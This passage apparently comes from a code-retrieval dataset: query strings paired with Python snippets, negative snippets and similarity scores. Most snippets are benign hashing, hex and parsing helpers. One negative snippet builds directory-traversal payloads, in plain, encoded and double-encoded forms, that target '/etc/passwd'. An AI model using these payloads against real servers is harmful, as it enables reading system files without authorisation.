0xEEEEEEEE\\n\\n for ch in string.upper():\\n if not isinstance(ch, int): ch = ord(ch)\\n value = self.encryption_table[(hash_types[hash_type] << 8) + ch]\\n seed1 = (value ^ (seed1 + seed2)) & 0xFFFFFFFF\\n seed2 = ch + seed1 + seed2 + (seed2 << 5) + 3 & 0xFFFFFFFF\\n\\n return seed1\",\n \"def get_hexa(num: int) -> str:\\n return str(hex(num))[2:].upper()\",\n \"def make_histogram(s):\\n hist = {}\\n for x in s:\\n hist[x] = hist.get(x, 0) + 1\\n for c in string.whitespace + string.punctuation:\\n if c in hist:\\n hist.pop(c)\\n return hist\",\n \"def test_symbol_repr(self):\\n a = pybamm.Symbol(\\\"a\\\")\\n b = pybamm.Symbol(\\\"b\\\")\\n c = pybamm.Symbol(\\\"c\\\", domain=[\\\"test\\\"])\\n d = pybamm.Symbol(\\\"d\\\", domain=[\\\"test\\\"])\\n hex_regex = r\\\"\\\\-?0x[0-9,a-f]+\\\"\\n self.assertRegex(\\n a.__repr__(),\\n r\\\"Symbol\\\\(\\\" + hex_regex + r\\\", a, children\\\\=\\\\[\\\\], domain\\\\=\\\\[\\\\]\\\\)\\\",\\n )\\n self.assertRegex(\\n b.__repr__(),\\n r\\\"Symbol\\\\(\\\" + hex_regex + r\\\", b, children\\\\=\\\\[\\\\], domain\\\\=\\\\[\\\\]\\\\)\\\",\\n )\\n self.assertRegex(\\n c.__repr__(),\\n r\\\"Symbol\\\\(\\\" + hex_regex + r\\\", c, children\\\\=\\\\[\\\\], domain\\\\=\\\\['test'\\\\]\\\\)\\\",\\n )\\n self.assertRegex(\\n d.__repr__(),\\n r\\\"Symbol\\\\(\\\" + hex_regex + r\\\", d, children\\\\=\\\\[\\\\], domain\\\\=\\\\['test'\\\\]\\\\)\\\",\\n )\\n self.assertRegex(\\n (a + b).__repr__(),\\n r\\\"Addition\\\\(\\\" + hex_regex + r\\\", \\\\+, children\\\\=\\\\['a', 'b'\\\\], domain=\\\\[\\\\]\\\\)\\\",\\n )\\n self.assertRegex(\\n (c * d).__repr__(),\\n r\\\"Multiplication\\\\(\\\"\\n + hex_regex\\n + r\\\", \\\\*, children\\\\=\\\\['c', 'd'\\\\], domain=\\\\['test'\\\\]\\\\)\\\",\\n )\\n self.assertRegex(\\n pybamm.grad(a).__repr__(),\\n r\\\"Gradient\\\\(\\\" + hex_regex + \\\", grad, children\\\\=\\\\['a'\\\\], domain=\\\\[\\\\]\\\\)\\\",\\n )\\n self.assertRegex(\\n pybamm.grad(c).__repr__(),\\n r\\\"Gradient\\\\(\\\"\\n + hex_regex\\n + \\\", grad, children\\\\=\\\\['c'\\\\], domain=\\\\['test'\\\\]\\\\)\\\",\\n )\",\n \"def hexdigest(self):\\n return \\\"\\\".join(\\\"%02x\\\" % ord(x)\\n for x in MegaCrypto.a32_to_str(self.digest()))\",\n \"def uCSIsYijingHexagramSymbols(code):\\n ret = libxml2mod.xmlUCSIsYijingHexagramSymbols(code)\\n return ret\",\n \"def legendre_symbol(a, p):\\n ls = pow((int)(a), (int)((p - 1) / 2), (int)(p))\\n return -1 if ls == p - 1 else ls\",\n \"def print_symbols():\\n\\n global program\\n if program is None:\\n print \\\"no program is loaded\\\"\\n return\\n for(s, a) in program.symbols():\\n print \\\"0x{:x} : {}\\\".format(a, s)\",\n \"def printHex(str):\\r\\n\\tmes = []\\r\\n\\tfor ch in str:\\r\\n\\t\\tif ch in printable:\\r\\n\\t\\t\\tmes.append(ch)\\r\\n\\t\\telse:\\r\\n\\t\\t\\t# rendo visibile il codice\\r\\n\\t\\t\\tmes.append(\\\"(%02x)\\\" %ord(ch))\\r\\n\\t\\t\\tif ch == '\\\\n':\\r\\n\\t\\t\\t\\tmes.append('\\\\n')\\r\\n\\tprint \\\"\\\".join(mes)\",\n \"def hx(i):\\n a = hex(i)[2:]\\n if len(a)<2: a = ''.join(['0',a])\\n return a\",\n \"def hexdigest(self):\\r\\n return ''.join(['%02x' % ord(c) for c in self.digest()])\",\n \"def hash_key(self,key: str) -> int: \\n \\n total = 0\\n prime = 3\\n \\n for index, char in enumerate(key,start=1):\\n \\n total += ord(char)*(prime)**index\\n \\n return total % self.buckets\",\n \"def bin_code(self):\\n self.alphabet = np.unique(self.sequence)\\n\\n for s, n in zip([chr(k + ord('a') - 1) for k in self.alphabet], self.alphabet):\\n self.alphabet_symbol[s] = n\\n\\n sigm = len(self.alphabet)\\n bin_code = []\\n for i, e in enumerate(self.alphabet):\\n em = [0] * sigm\\n em[sigm - 1 - i] = 1\\n bin_code.append(em)\\n\\n for i in range(len(bin_code)):\\n self.alphabet_dict[self.alphabet[i]] = bin_code[i]\\n\\n return reduce(lambda r, e: r + self.alphabet_dict[e], self.sequence, [])\",\n \"def genSCID():\\n scid_hex = getRandomBytes(8)\\n scid_hex = getSHA256Hex(scid_hex)\\n scid_hex = scid_hex[0:8]\\n return scid_hex\",\n \"def getSymbolValue(self) -> int:\\n ...\",\n \"def legendre_symbol(a, p):\\n\\tls = pow(a, (p - 1) // 2, p)\\n\\treturn -1 if ls == p - 1 else ls\",\n \"def getCurrencySymbol():\",\n \"def fn(c):\\n ans = 0\\n for k in range(1, 16): \\n ans = min(ans, k*16+k, key=lambda x: abs(x - int(c, 16)))\\n return hex(ans)[2:].zfill(2)\",\n \"def concat_hash(self, x, symkey):\\n msg = '%s%s' % (x, symkey)\\n return int(hashlib.sha1(msg).hexdigest(), 16)\",\n \"def _s_hash(fn, data: str):\\n\\n return fn(_b(data)).hexdigest()\",\n \"def H2( curve, in_str ):\\n return curve.hash_to_point( \\\"H2_salt%s\\\" % in_str )\",\n \"def english_probability(s: str) -> float:\\n\\n # Use cosine similarity to determine how much the string resembles\\n # the letter distribution of English.\\n\\n # But first, if there are non-ascii characters in the result string, it is\\n # certainly not English, so we can stop early\\n for c in s:\\n if c not in string.printable:\\n return 0\\n\\n # Now, begin by making `s` into a vector of fractions, representing how\\n # often each character appears. Must have the same character set as\\n # CHAR_FREQ for the math to work correctly, so throw out other characters.\\n cntr = Counter(c.lower() for c in s if c in CHAR_FREQ.keys())\\n total_chars = sum(cntr.values())\\n vec = {c: freq/total_chars for c, freq in cntr.items()}\\n\\n # Do the actual calculation. `vec` is 'a' and `CHAR_FREQ` is 'b'\\n a_dot_b = sum(pair[0] * pair[1] for pair in zip_dict(vec, CHAR_FREQ))\\n mag_a = sqrt(sum(freq**2 for freq in vec.values()))\\n mag_b = sqrt(sum(freq**2 for freq in CHAR_FREQ.values()))\\n\\n return a_dot_b / (mag_a * mag_b)\",\n \"def __alphanum_key(self, s):\\n return [self.__tryint(c) for c in re.split(\\\"([0-9]+)\\\", s)]\",\n \"def identifier_hash(identifier, sigfig=None):\\n if sigfig is None:\\n sigfig = id_sigfig\\n\\n # convert identifier to integers and order of magnitude\\n as_int, multiplier = util.sigfig_int(identifier, sigfig)\\n # make all scales positive\\n if (multiplier < 0).any():\\n multiplier += np.abs(multiplier.min())\\n hashable = (as_int * (10 ** multiplier)).astype(np.int64)\\n return hashlib.md5(hashable).hexdigest()\",\n \"def _symbol(self):\\n if self._symbol_cycle is None:\\n self._symbol_cycle = itertools.cycle([WarmFrontogenesis._symbol,\\n ColdFrontogenesis._symbol])\\n return next(self._symbol_cycle)\",\n \"def nonlatin_detector(dom):\\n str = domain_string(dom[0], dom[1])\\n N = len(str)\\n hex = [c.encode('utf-8').encode('hex') for c in list(str)]\\n return float(sum([len(h)/2 for h in hex]) - N)/N\",\n \"def h_ascii(key, N):\\n if type(key) == str:\\n if type(N) == int:\\n s = 0\\n for i in range(len(key)):\\n s += ord(key[i])\\n return s % N\\n else:\\n raise ValueError\\n else:\\n raise ValueError\",\n \"def emit_symbol(self):\\n emissions = self.emission_map[self.current_state]\\n return select_from_probability_dict(random(),emissions)\",\n \"def hash_f(x: Text) -> Tuple[Text, Text]:\\n return \\\"hash\\\", x.lower()\",\n \"def digest(self, seq):\\n\\n h = hashlib.new(self._hash_algorithm)\\n h.update(seq)\\n dig = h.hexdigest()\\n\\n return dig\",\n \"def entropy(string):\\n p, lns = Counter(string), float(len(string))\\n return -sum(count/lns * math.log(count/lns, 2) for count in p.values())\",\n \"def signature(s, n, hash_function=_crc32_hash):\\n return set(sorted((hash_function(e), e) for e in s)[:n])\",\n \"def getSymbolAt(self, address: ghidra.program.model.address.Address) -> ghidra.program.model.symbol.Symbol:\\n ...\",\n \"def checksum(value: str) -> str:\\n return chr(65 + sum(CHECKSUM_TABLE[index % 2][ALPHANUMERICS_DICT[char]] for index, char in enumerate(value)) % 26)\",\n \"def update_char_histogram(s,hist = dict()):\\r\\n for c in s:\\r\\n if c.isspace():\\r\\n continue\\r\\n if c not in hist:\\r\\n hist[c] = 0\\r\\n hist[c] += 1\\r\\n return hist\",\n \"def _create_symbol_mapping():\\n normal_items = [\\\"+\\\", \\\"-\\\"]\\n unicode_items = [chr(0x2070 + i) for i in range(10, 12)]\\n\\n # Create a dict mapping the two.\\n return DefaultDictionary(zip(normal_items, unicode_items))\",\n \"def __hash__(self):\\n return hash((self.SYMBOL, self._.hash_parameters))\",\n \"def hex(string):\\n return string.encode('hex')\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.60032827","0.59784114","0.59590006","0.5900072","0.5883766","0.5832786","0.58078927","0.5785384","0.5761886","0.5714655","0.5704629","0.56721306","0.5666979","0.5638854","0.5600783","0.5577806","0.5572179","0.55721414","0.55712956","0.55402035","0.55278903","0.54908454","0.54892683","0.5488216","0.546489","0.5462693","0.5461479","0.5426746","0.5405361","0.54010147","0.5393304","0.5377058","0.5356835","0.5338308","0.5333899","0.53334975","0.53254706","0.5324646","0.53140587","0.5311551","0.52862006","0.5276173","0.52756685","0.5263454","0.52557236","0.52556956","0.52441347","0.52428806","0.52418643","0.5236341","0.52331734","0.522627","0.52145636","0.52093273","0.5207581","0.51997626","0.5195074","0.5189712","0.51863325","0.5162983","0.5160393","0.51582915","0.51490855","0.514847","0.5120689","0.5120575","0.51189566","0.51186526","0.5112612","0.51074505","0.51038706","0.5100398","0.50848174","0.50836587","0.5081772","0.5074662","0.50744975","0.5066573","0.50635713","0.50613487","0.5058219","0.5057999","0.50562257","0.5052375","0.5044097","0.5041833","0.5040851","0.50351006","0.5033741","0.5032061","0.50314367","0.5029788","0.50261205","0.5025605","0.50255895","0.5019783","0.5016486","0.500395","0.5000873","0.49910742"],"string":"[\n \"0.60032827\",\n \"0.59784114\",\n \"0.59590006\",\n \"0.5900072\",\n \"0.5883766\",\n \"0.5832786\",\n \"0.58078927\",\n \"0.5785384\",\n \"0.5761886\",\n \"0.5714655\",\n \"0.5704629\",\n \"0.56721306\",\n \"0.5666979\",\n \"0.5638854\",\n \"0.5600783\",\n \"0.5577806\",\n \"0.5572179\",\n \"0.55721414\",\n \"0.55712956\",\n \"0.55402035\",\n \"0.55278903\",\n \"0.54908454\",\n \"0.54892683\",\n \"0.5488216\",\n \"0.546489\",\n \"0.5462693\",\n \"0.5461479\",\n \"0.5426746\",\n \"0.5405361\",\n \"0.54010147\",\n \"0.5393304\",\n \"0.5377058\",\n \"0.5356835\",\n \"0.5338308\",\n \"0.5333899\",\n \"0.53334975\",\n \"0.53254706\",\n \"0.5324646\",\n \"0.53140587\",\n \"0.5311551\",\n \"0.52862006\",\n \"0.5276173\",\n \"0.52756685\",\n \"0.5263454\",\n \"0.52557236\",\n \"0.52556956\",\n \"0.52441347\",\n \"0.52428806\",\n \"0.52418643\",\n \"0.5236341\",\n \"0.52331734\",\n \"0.522627\",\n \"0.52145636\",\n \"0.52093273\",\n \"0.5207581\",\n \"0.51997626\",\n \"0.5195074\",\n \"0.5189712\",\n \"0.51863325\",\n \"0.5162983\",\n \"0.5160393\",\n \"0.51582915\",\n \"0.51490855\",\n \"0.514847\",\n \"0.5120689\",\n \"0.5120575\",\n \"0.51189566\",\n \"0.51186526\",\n \"0.5112612\",\n \"0.51074505\",\n \"0.51038706\",\n \"0.5100398\",\n \"0.50848174\",\n \"0.50836587\",\n \"0.5081772\",\n \"0.5074662\",\n \"0.50744975\",\n \"0.5066573\",\n \"0.50635713\",\n \"0.50613487\",\n \"0.5058219\",\n \"0.5057999\",\n \"0.50562257\",\n \"0.5052375\",\n \"0.5044097\",\n \"0.5041833\",\n \"0.5040851\",\n \"0.50351006\",\n \"0.5033741\",\n \"0.5032061\",\n \"0.50314367\",\n \"0.5029788\",\n \"0.50261205\",\n \"0.5025605\",\n \"0.50255895\",\n \"0.5019783\",\n \"0.5016486\",\n \"0.500395\",\n \"0.5000873\",\n \"0.49910742\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.5976867"},"document_rank":{"kind":"string","value":"2"}}},{"rowIdx":14486,"cells":{"query":{"kind":"string","value":"Takes domain + set of paths as output by parse_urls() and applies extracts statistics of the signature string."},"document":{"kind":"string","value":"def domain_features(domain, path_set):\n return string_features_v2(domain_string(domain, path_set))"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def run_stats():\r\n\r\n time_signature = {}\r\n time_verification = {}\r\n\r\n # this should speed up things\r\n message = \"Alice, send me 100 bucks. --Bob\"\r\n message = long(sha256(message).hexdigest(), 16)\r\n\r\n curvas = [(i, getattr(nist_curves, i)) for i in dir(nist_curves) if\r\n i.startswith(\"point_p\")]\r\n\r\n for name, point in curvas:\r\n priv_key, pub_key = generate_key_pair(point)\r\n time_signature[name] = []\r\n time_verification[name] = []\r\n\r\n for i in xrange(30):\r\n r, s = sign(message, point, priv_key, time_signature[name])\r\n status = verify(r, s, message, point, pub_key,\r\n time_verification[name])\r\n\r\n print \"%s done\" % (name, )\r\n\r\n return (time_signature, time_verification)","def domain_parser():\n\tinput_handle=\"blast_hits.fasta\"\n\t# File with: (1) the domains of each hit and (2) domains information\n\tdomains= \"domains_hits.txt\"\n\toutput_handle = open(domains, \"w\")\n\toutput_handle.write(\"#This file contains the domains of each hit.\\n#At the bottom, you will find detail information of all the domains detected.\\n\")\n\toutput_handle.write(\"#We strongly recommend to open this file with Visual Studio Code.\\n#Because when the names of the domains are too large, in regular editors the table looks awful.\\n\")\n\toutput_handle.write(\"#Here it is only showed how many times a pattern is present.\\n#In the figure of the domains you will find the position of each domain.\\n\\n\")\n\taccession_list=[] \t# List of prosite.doc accessions of the domains that had been found\n\tdomains_dict=dict() # dictionary that saves matches\n\tcount=1\n\tmax_seq_len=0 # Keep larger sequence to plot x-axe\n\t# Loop to go through hits\n\tfor seq_record in SeqIO.parse(input_handle, \"fasta\"):\n\t\toutput_handle.write(str(seq_record.id)+\"\\n\") # print identifier of the hit\n\t\toutput_handle.write(str(seq_record.seq)+\"\\n\") # print sequence of the hit\n\t\tif len(seq_record.seq)>max_seq_len:\n\t\t\tmax_seq_len=len(seq_record.seq)\n\t\t# Make a table for each hit with the domains, that contains the following fields: name, accession, description and pattern\n\t\tx=PrettyTable()\n\t\tx.field_names=[\"name\",\"accession\",\"description\",\"pattern\",\"repetitions\"]\n\n\t\t# Loop to go through prosite domains\n\t\thandle = open(\"prosite.dat\",\"r\")\n\t\trecords = Prosite.parse(handle)\n\t\tfor record in records:\n\t\t\t# prosite.dat preparation for parsing\n\t\t\t# {} -> [^]\n\t\t\tpattern = record.pattern.upper()\n\t\t\tpattern = pattern.replace(\"{\", \"[^\")\n\t\t\tpattern = pattern.replace(\"}\", \"]\")\t\n\t\t\t# - -> \"\"\n\t\t\tpattern = pattern.replace(\"-\", \"\")\t\n\t\t\t# . -> \"\"\n\t\t\tpattern = pattern.replace(\".\", \"\")\t\n\t\t\t# X|x -> \"[ARNDCQEGHILKMFPSTWYV]\"\n\t\t\tAAS=\"[ARNDCQEGHILKMFPSTWYV]\"\n\t\t\tpattern = pattern.replace(\"x\", AAS)\n\t\t\tpattern = pattern.replace(\"X\", AAS)\t\n\t\t\t# () -> {}\n\t\t\tpattern = pattern.replace(\"(\", \"{\")\n\t\t\tpattern = pattern.replace(\")\", \"}\")\t\n\n\t\t\t# >] -> ]?$\n\t\t\tpattern = pattern.replace(\">]\", \"]?$\")\t\n\n\t\t\t# < -> ^\n\t\t\t# > -> $\n\t\t\tpattern = pattern.replace(\"<\", \"^\")\t\n\t\t\tpattern = pattern.replace(\">\", \"$\")\t\n\t\t\tif pattern != \"\":\n\t\t\t\t# Look if the hit contains the current patter\n\t\t\t\tif re.search(r\"\"+str(pattern), str(seq_record.seq).upper()): # if found\n\t\t\t\t\tif record.pdoc not in accession_list:\n\t\t\t\t\t\t# Save pdoc accession in the list of prosite.doc accessions\n\t\t\t\t\t\t# if it is not already\n\t\t\t\t\t\taccession_list.append(record.pdoc)\n\t\t\t\t\tmatches = re.finditer(r\"\"+str(pattern), str(seq_record.seq).upper())\n\t\t\t\t\treps=0\n\t\t\t\t\tfor match in matches: # save all matches in a dictionary to plot them later\n\t\t\t\t\t\tdomains_dict[count]=[seq_record.id, len(seq_record.seq),record.name,match.start(),match.end()]\n\t\t\t\t\t\tcount=count+1\n\t\t\t\t\t\treps=reps+1\n\t\t\t\t\tx.add_row([record.name,record.accession,record.description,record.pattern, reps]) # add found domain to table\n\n\t\toutput_handle.write(str(x)+\"\\n\") # add table of hit to domains_hits.txt\n\n\t# At the end of the tables, print information of all the domains that had been found\n\toutput_handle.write(\"\\n\")\n\trecord_text_list=DocParser(accession_list)\n\tfor text in record_text_list:\n\t\toutput_handle.write(text)\n\treturn (domains_dict,max_seq_len,accession_list)","def analyzeFile():\n totalMalware = 0\n logFile = open(\"postLog_{0}_{1}.txt\".format(os.path.splitext(path)[0], dateTimeNow), \"r+\")\n #print(\"Analyzing and saving to file.\")\n tempLog = logFile.read()\n for line in tempLog.splitlines()[:]:\n if line == \"malware\":\n totalMalware += 1\n analysis = (\"\\nMalware Associated URLs: \" + str((totalMalware / (totalCount)) * 100) + \"% \"\n + str(totalMalware) + \" / \" + str(totalCount) + \"\\nValid URLs: \" +\n str(((totalCount - totalMalware) / (totalCount)) * 100) + \"% \" + str(totalCount - totalMalware) +\n \" / \" + str(totalCount))\n logFile.write(analysis)\n #close files\n logFile.close()","def analysis(file):\n\n fields = []\n\n with open(file) as f:\n lines = f.readlines()\n rows = len(lines)\n filesize = sum([len(line) for line in lines])\n\n tmp = []\n\n for line in lines[8:len(lines)-1]:\n fs = line.strip().split('\\t')\n\n \"\"\"\n fields:\n ts\n uid\n id.orig_h\n id.orig_p\n id.resp_h\n id.resp_p\n proto\n trans_id\n query\n qclass\n qclass_name\n qtype\n qtype_name\n rcode\n rcode_name\n AA\n TC\n RD\n RA\n Z\n answersTTLs\n rejected\n \"\"\"\n\n tmp.append(fs[N])\n\n #print(log, rows, ','.join(methods))\n\n # time intervals\n #tss_sorted = sorted(map(float,tmp))\n #tss_sorted = map(float, tmp)\n #intervals = map(int,[tss_sorted[i+1]-tss_sorted[i] for i in range(len(tss_sorted)-1)])\n #print('%s %s' % (log, ' '.join(map(str,intervals))))\n #file = urlparse(fs[N]).path.split('/')[-1].split('.')\n #if len(file)>1:\n # tmp.append(file[-1])\n #tmp.append(urlparse(fs[N]).path.split('/')[-1])\n #tmp.append(urlparse(fs[N]).path)\n\n #fields.append(set(tmp))\n #fields.append(intervals)\n fields.append(tmp)\n\n\n dic = {}\n for i in fields:\n for j in i:\n if j in dic:\n dic[j] += 1\n else:\n dic[j] = 1\n ls = sorted(dic.items(), lambda x,y: cmp(x[1], y[1]), reverse = True)\n for i in range(len(ls)):\n print('%s\\t%s' %(ls[i][0], ls[i][1]))\n #print('%s' % join(ls[i][1]))","def get_hits_by_domain():\n \n #PUT THIS HERE TO TRY AND RUN THE PYTHON SCRIPT AS ROOT, DIDN'T WORK\n uid = pwd.getpwnam('root')[2]\n os.setuid(uid)\n\n #DEFINE VARS\n nlogdir = '/var/log/nginx/'\n alogdir = '/var/log/httpd/'\n hits_by_domain = {}\n\n try:\n #GET NGINX LOGS\n nfiles = [f for f in os.listdir(nlogdir) if re.match(r'^(?!default)(.+access.log)$', f)]\n\n for i, s in enumerate(nfiles):\n nfiles[i] = os.path.join(nlogdir, s)\n\n #GET APACHE LOGS\n afiles = [f for f in os.listdir(alogdir) if re.match(r'^(?!.+_)(.+\\.access.log)$', f)]\n\n for i, s in enumerate(afiles):\n afiles[i] = os.path.join(alogdir, s)\n\n #COUNT NGINX HITS\n for f in nfiles:\n nregex = \"(\"+str(nlogdir)+\")(.+?)(.access.log)\"\n domain = re.search(nregex, f)\n count = 0\n for line in open(f).xreadlines():\n count +=1\n hits_by_domain[domain.group(2)] = count\n\n #COUNT APACHE HITS\n for f in afiles:\n aregex = \"(\"+str(alogdir)+\")(.+?)(.access.log)\"\n domain = re.search(aregex, f)\n count = 0\n for line in open(f).xreadlines():\n count +=1\n hits_by_domain[domain.group(2)] = count\n\n return hits_by_domain\n\n except Exception as e:\n collectd.info(str(e))\n return","def process(self, incomings):\n\n payloads = []\n\n payloads.append([\"../../../../../../../../var/www/attacker.com/public_html/\", \"image.jpg\"])\n payloads.append([\"L2V0Yy9wYXNzd2Q=\"])\n payloads.append([\"TDJWMFl5OXdZWE56ZDJRPQ%3D%3D\"])\n\n #Contains the various types of directory pathing\n #%2f = / || %2e = . || %252f = / || '%255c' = \\\n list_of_postfix_1 = ['/etc','/etc/', '/etc/passwd', '%2fetc%2fpasswd','/etc/passwd%00index.html', '/etc/passwd;index.html','//etc//passwd','L2V0Yy9wYXNzd2Q%3D']\n list_of_prefix = ['../','..././','./../','.../','..../','...//','....\\\\/','..../\\\\\\\\']\n\n #Print just the postfix\n for post_style in list_of_postfix_1:\n payloads.append([post_style])\n\n #New Postfix array (Without the last '/')\n list_of_postfix = ['','etc/passwd']\n\n #For extended file paths (Non-encoded)\n for post_style in list_of_postfix:\n for pre_style in list_of_prefix:\n curr_file_path = post_style;\n for times in range(0,15):\n curr_file_path = pre_style + curr_file_path;\n #Start from longest path\n payloads.append([curr_file_path])\n\n #For extended file paths (Double-slashed)\n list_of_postfix_doubleslash = ['','etc//passwd']\n list_of_prefix_doubleslash = ['..//']\n\n for post_style in list_of_postfix_doubleslash:\n for pre_style in list_of_prefix_doubleslash:\n curr_file_path = post_style;\n for times in range(0,15):\n curr_file_path = pre_style + curr_file_path;\n #Start from longest path\n payloads.append([curr_file_path])\n\n #For extended file paths (Encoded)\n list_of_postfix_encoded = ['','etc%2fpasswd']\n list_of_prefix_encoded = ['%2e%2e%2f']\n\n for post_style in list_of_postfix_encoded:\n for pre_style in list_of_prefix_encoded:\n curr_file_path = post_style;\n for times in range(0,15):\n curr_file_path = pre_style + curr_file_path;\n #Start from longest path\n payloads.append([curr_file_path])\n\n #For extended file paths (Doubly-encoded)\n list_of_postfix_d_encoded = ['','etc%252fpasswd']\n list_of_prefix_d_encoded = ['%252e%252e%252f']\n\n for post_style in list_of_postfix_d_encoded:\n for pre_style in list_of_prefix_d_encoded:\n curr_file_path = post_style;\n for times in range(0,15):\n curr_file_path = pre_style + curr_file_path;\n #Start from longest path\n payloads.append([curr_file_path])\n\n #For extended file paths (Other UTF-8)\n list_of_postfix_utf8_encoded = ['','etc%25c0%25afpasswd']\n list_of_prefix_utf8_encoded = ['%25c0%25ae%25c0%25ae%25c0%25af']\n\n for post_style in list_of_postfix_utf8_encoded:\n for pre_style in list_of_prefix_utf8_encoded:\n curr_file_path = post_style;\n for times in range(0,15):\n curr_file_path = pre_style + curr_file_path;\n #Start from longest path\n payloads.append([curr_file_path])\n\n #For extended file paths (Other UTF-8) 2\n list_of_postfix_utf8_encoded2 = ['','etc%c0%afpasswd']\n list_of_prefix_utf8_encoded2 = ['%c0%ae%c0%ae%c0%af']\n\n for post_style in list_of_postfix_utf8_encoded2:\n for pre_style in list_of_prefix_utf8_encoded2:\n curr_file_path = post_style;\n for times in range(0,15):\n curr_file_path = pre_style + curr_file_path;\n #Start from longest path\n payloads.append([curr_file_path])\n\n # For extended file paths (Other UTF-8) 3\n '''\n list_of_postfix_utf8_encoded3 = ['','etc%u2215passwd']\n list_of_prefix_utf8_encoded3 = ['%uff0e%uff0e%u2215']\n\n for post_style in list_of_postfix_utf8_encoded3:\n for pre_style in list_of_prefix_utf8_encoded3:\n curr_file_path = post_style;\n for times in range(0,15):\n curr_file_path = pre_style + curr_file_path;\n #Start from longest path\n payloads.append([curr_file_path])\n '''\n\n #For extended file paths (Other UTF-8) 4\n list_of_postfix_utf8_encoded4 = ['','etc%c0%2fpasswd']\n list_of_prefix_utf8_encoded4 = ['%c0%2e%c0%2e%c0%2f']\n\n for post_style in list_of_postfix_utf8_encoded4:\n for pre_style in list_of_prefix_utf8_encoded4:\n curr_file_path = post_style;\n for times in range(0,15):\n curr_file_path = pre_style + curr_file_path;\n #Start from longest path\n payloads.append([curr_file_path])\n\n #For extended file paths (Other UTF-8) 5\n list_of_postfix_utf8_encoded5 = ['','etc%uEFC8passwd']\n list_of_prefix_utf8_encoded5 = ['..%uEFC8']\n\n for post_style in list_of_postfix_utf8_encoded5:\n for pre_style in list_of_prefix_utf8_encoded5:\n curr_file_path = post_style;\n for times in range(0,15):\n curr_file_path = pre_style + curr_file_path;\n #Start from longest path\n payloads.append([curr_file_path])\n\n #For extended file paths (Hex)\n list_of_postfix_hex = ['']\n list_of_prefix_hex = ['0x2e0x2e0x2f']\n\n for post_style in list_of_postfix_hex:\n for pre_style in list_of_prefix_hex:\n curr_file_path = post_style;\n for times in range(0,15):\n curr_file_path = pre_style + curr_file_path;\n #Start from longest path\n payloads.append([curr_file_path])\n\n #2-part Inputs\n list_of_second_input = ['passwd']\n\n #Do it with postfix_1 first\n for post_style in list_of_postfix_1:\n for second_input in list_of_second_input:\n payloads.append([post_style, second_input])\n\n #New Postfix array (Without the last '/')\n list_of_postfix_2 = ['etc','etc/']\n\n for second_input in list_of_second_input:\n for post_style in list_of_postfix_2:\n for pre_style in list_of_prefix:\n curr_file_path = post_style;\n for times in range(0,15):\n curr_file_path = pre_style + curr_file_path;\n payloads.append([curr_file_path, second_input])\n\n return payloads","def analysis(N):\n\n http_log_paths = get_http_logs()\n\n httplogs = []\n\n for path in http_log_paths:\n file = path+'/http.log'\n if os.path.isfile(file):\n httplogs.append(file)\n else:\n pass #print(path)\n\n fields = []\n\n for log in httplogs:\n with open(log) as f:\n lines = f.readlines()\n rows = len(lines)\n filesize = sum([len(line) for line in lines])\n\n tss = [] # time series\n methods = []\n uris = []\n uas = []\n request_body_lens = []\n response_body_lens = []\n status_codes = []\n filenames = []\n\n tmp = []\n\n for line in lines[8:len(lines)-1]:\n fs = line.strip().split('\\t')\n\n \"\"\"\n ts = fileds[0]\n uid = fileds[1]\n orig_h = fileds[2]\n orig_p = fileds[3]\n resp_h = fileds[4]\n resp_p = fileds[5]\n trans_depth = fileds[6]\n method = fileds[7]\n host = fileds[8]\n uri = fileds[9]\n referrer = fileds[10]\n user_agent = fileds[11]\n request_body_len = fileds[12]\n response_body_len = fileds[13]\n status_code = fileds[14]\n status_msg = fileds[15]\n info_code = fileds[16]\n info_msg = fileds[17]\n filename = fileds[18]\n tags = fileds[19]\n username = fileds[20]\n password = fileds[21]\n proxied = fileds[22]\n orig_fuids = fileds[23]\n orig_mime_types = fileds[24]\n resp_fuids = fileds[25]\n resp_mime_types = fileds[26]\n\n tss.append(ts)\n methods.append(method)\n uris.append(uri)\n uas.append(user_agent)\n request_body_lens.append(request_body_len)\n response_body_lens.append(response_body_len)\n status_codes.append(status_code)\n filenames.append(filename)\n \"\"\"\n\n tmp.append(fs[N])\n\n #print(log, rows, ','.join(methods))\n\n # time intervals\n #tss_sorted = sorted(map(float,tmp))\n #tss_sorted = map(float, tmp)\n #intervals = map(int,[tss_sorted[i+1]-tss_sorted[i] for i in range(len(tss_sorted)-1)])\n #print('%s %s' % (log, ' '.join(map(str,intervals))))\n #file = urlparse(fs[N]).path.split('/')[-1].split('.')\n #if len(file)>1:\n # tmp.append(file[-1])\n #tmp.append(urlparse(fs[N]).path.split('/')[-1])\n #tmp.append(urlparse(fs[N]).path)\n\n #fields.append(set(tmp))\n #fields.append(intervals)\n fields.append(tmp)\n\n\n dic = {}\n for i in fields:\n for j in i:\n if j in dic:\n dic[j] += 1\n else:\n dic[j] = 1\n ls = sorted(dic.items(), lambda x,y: cmp(x[1], y[1]), reverse = True)\n for i in range(len(ls)):\n print('%s\\t%s' %(ls[i][0], ls[i][1]))\n #print('%s' % join(ls[i][1]))\n\n\n \"\"\"\n col = []\n for i in fields:\n for j in i:\n col.append(j)\n print('%s' % ' '.join(map(str,col)))\n \"\"\"\n\n\n \"\"\"\n dic = {}\n for i in fields:\n for j in i:\n sub = j.split('.')\n if sub[0] in dic:\n dic[sub[0]] += 1\n else:\n dic[sub[0]] = 1\n\n\n if len(sub) > 1:\n if sub[-2]+'.'+sub[-1] in dic:\n dic[sub[-2]+'.'+sub[-1]] += 1\n else:\n dic[sub[-2]+'.'+sub[-1]] = 1\n\n\n ls = sorted(dic.items(), lambda x, y: cmp(x[1], y[1]), reverse=True)\n for i in range(len(ls)):\n print('%s\\t%s' % (ls[i][0], ls[i][1]))\n # print('%s' % join(ls[i][1]))\n\n \"\"\"","def main():\n print \"Parsing web log...\"\n log = parse_weblog(WEBLOG_FILEPATH)\n print \"Keeping only store page entries...\"\n store_page_entries = keep_only_store_page(log)\n print \"Grouping entries by domain...\"\n store_pages = hash_entries(store_page_entries) \n print \"Calculating bounce rates for each store page...\"\n bounce_rates = compute_bounce_rate(store_pages)\n print \"Saving results to file...\"\n save_as_csv(bounce_rates, OUTPUT_PATH)","def find_signatures(word_counts):\n\n # Find protostems.\n protostems = find_protostems(word_counts) \n\n # List all possible continuations of each 